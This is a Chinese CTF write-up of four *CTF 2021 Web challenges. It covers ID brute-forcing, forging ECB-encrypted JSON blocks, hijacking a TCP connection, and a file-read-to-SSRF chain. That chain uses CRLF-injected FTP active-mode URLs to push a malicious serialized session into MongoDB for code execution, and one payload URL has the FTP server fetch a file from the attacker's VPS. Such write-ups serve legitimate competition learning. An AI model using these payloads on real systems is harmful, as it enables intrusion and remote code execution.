因为战队之前 XCTF 没怎么全员打,没有门票,*CTF是最后一次入场券了,所以周末跟队友全力打了下 *CTF。有点可惜,差了道 Web(背锅…
四道 Web,感觉除了 bet,剩下的都不那么 Web…
Web
Oh-my-note
开始以为 SSTI 之类的,试了下发现不是。
通读代码也没啥点,有个奇怪的地方就是以一个已经存在的用户发帖子,没有登陆状态… 猜测是不是题目启动时候自动加的帖子有东西。
有了 userid 就可以看所有帖子了,看代码发现 userid 可以爆破出来:
思路就是有了下面的post_at,在附近去爆破一下前面的timestamp,这样可以得到user_id了,然后可以查看前面那几个user的文章。
1 | import time, datetime |
注意下时区问题,有了 userid,note里有 flag:
lottery again
2020 0CTF初赛改的,功能逻辑没改,当时题解:http://igml.top/2020/06/29/2020-TCTF-0CTF/#lottery
2020 0CTF改的,发现逻辑几乎都没变,关键是加密算法变了。mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB)
这不是正常的AES,密钥需要32字节,并且明文32字节为一组。
明文按照32字节分组:
1 | {"lottery":"56505c44-f0d3-492a-b |
可以加一个第二个分组,搞成这样:
1 | {"lottery":"56505c44-f0d3-492a-b |
json_loads时,第二个user会覆盖掉前面的,这样后面的user我们可以完全控制,把钱都转到一个账户就行了。
为了加快速度,写了个多进程脚本:
1 | import requests |
拿着api_token去买flag就好了:
oh-my-socket
我们有webserver的shell(传个python随便执行,可以弹shell),然后另一个server容器监听21587端口,如果给他发*ctf,就把flag发过来。
但是由于这个client连着server的21587端口,导致我们无法连接。。。
本来写了个脚本监视大家的 exp,但是一下午也没抄到作业(可能把 exp 传到隐秘的目录去了),反而自己的监视脚本还被别人抄了23333。
不过看到有人在伪造源地址和目的地址在发 TCP 包,还有人一直在读/proc/<pid>/net/netstat
,也没尝试。之后索性写了个脚本,一直不断连接 server 的21587端口,如果有人把那个连接打断了之类的,就可以马上上车了,结果就出了flag。
1 | code = ''' |
预期解是伪造一个从server到client的RST,从而断开连接,可以参考 L 战队师傅的 https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-socket。看起来比赛的时候我抄到了真正的 exp,只是不知道怎么利用 2333。
没想到经常和实验室合作的钱志云老师 TCP 攻击的论文,还被用来出 CTF 题了(这就是现在的 CTF 么
oh-my-bet
赛后复现的,这道题算是这次比赛质量最高的一道 Web了(唯一一道传统 Web
打开题目一看,没啥太多接口和功能,注册的时候头像处,任意文件读取:
常规套路,依次读取 /proc/self/environ
,/proc/self/cmdline
。读取 /app/app.py
,/app/utils.py
,/app/config.py
。
关键的 utils.py:
1 | import os |
config.py:
1 | import pymongo |
开了个 ftp,读取 config.json:
1 | ftp://fan:root@172.20.0.2:8877/files/config.json |
1 | { |
这个 urllib.request.urlopen,测试发现存在 CRLF 注入。
分析一下,题目连同 webserver,一共启动了 webserver、ftp、mongodb、mysql 与 redis 5 个容器。题目提示需要 webserver 的 rce,以及与 redis 无关。
在 config.json 中可以看到 session 是使用 mongodb 存储的,以前总是考使用 redis 存储,ssrf 攻击 redis 注入恶意序列化数据 getshell。这个题虽然是使用 mongodb 存储 session,但因为 flask-session 把 session 数据序列化,所以无论使用什么存储 session,理论上都有 ssrf + 反序列化的可能。
现在我们的目标是将恶意的序列化数据注入到mongodb里,这就需要借助 ftp 了。为什么不能使用http://ip:port\r\npayload\r\n
这种呢,因为 mongodb 是二进制协议,这样做前面会有多余的部分(http 包,前面的GET与路径部分等),会影响 mongodb。
所以我们需要借助 ftp,ftp 主动模式与被动模式,以及 CRLF 可以参考@Zeddy 的文章:http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/
比赛的时候,一直向着被动模式,尝试让 webserver 下载文件,思路走偏了。这个题其实是利用主动模式下载文件与上传文件。
先放一张主动模式的示意图:
既然我们利用 http 无法攻击 mongodb,那么就需要 ftp 服务器帮我们把数据打过去。可以想到我们可以在主动模式的步骤 2,用 PORT 命令把客户端指定成 mongodb 服务的 ip 和端口,再选择下载文件,这样就可以把文件的内容打到 mongodb 服务。
那么这个攻击前提是我们需要将数据包写到 ftp server 的一个文件里,这也可以利用主动模式实现。我们同样在步骤 2,用 PORT 命令把客户端指定成我们 vps 的 ip 和端口,再选择上传文件,那么 ftp server 就可以从我们的vps这里下载文件。
所以思路明确了,步骤如下:
- 将数据包放到vps上,利用 ftp 将数据包上传到 ftp server;
- 利用 ftp 把 ftp server 的数据包发送到 mongodb (把流量打过去)
- 刷新相应 session 页面,触发反序列化
现在剩下的一个问题就是 mongodb 的数据包我们没有,这里采取本地抓包的方式。也可以参考 L 战队师傅的方法:https://blog.frankli.site/2021/01/18/*CTF-2021-Web/
首先启一个 mongodb 的docker:
1 | docker run -itd --name mongo -p 27017:27017 mongo |
按照题目,进入容器,创建名为 admin 的数据库与名为 sessions 的 collection。
这里为了抓流量,使用 socat 转发流量:
1 | socat -v -x tcp-listen:4444,fork tcp-connect:localhost:27017 |
拿 python 插入数据:
1 | import requests |
可以看到 socat 记录下了流量:
这部分是插入数据的流量,我们需要十六进制保存下来:
1 | socat -x tcp-listen:4444,fork tcp-connect:localhost:27017 |
把数据包保存,放到 vps上,起个监听的服务:
1 | from socket import * |
现在让 ftp server 下载我们的文件:
1 | ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT x,x,x,x,6,666\r\nSTOR gml.txt\r\n@172.20.0.2:8877/" |
注意 PORT 命令格式,前四个数字是十进制的ip,后两个是 6*256+666=2202
,这么计算的端口号。
再次访问 ftp,发现有了文件:
下面让 ftp server 去向 mongoldb 发流量(端口号105*256+137=27017
)
1 | ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\nRETR gml.txt\r\n@172.20.0.2:8877/ |
然后刷新一下页面:
完整的脚本:
1 | import requests |
总结
这次除了 bet 感觉剩下不是那么传统的 Web,自己因为之前 ftp 没调过也没复现过(之前应该有几次比赛考察了 ftp ,吃了懒惰的亏…
最后离 0ops 就差一道题有点可惜,不过 0ops 之前有门票,应该也进了 XCTF Final。anyway,这次算是战队全力打了,队友都 tql。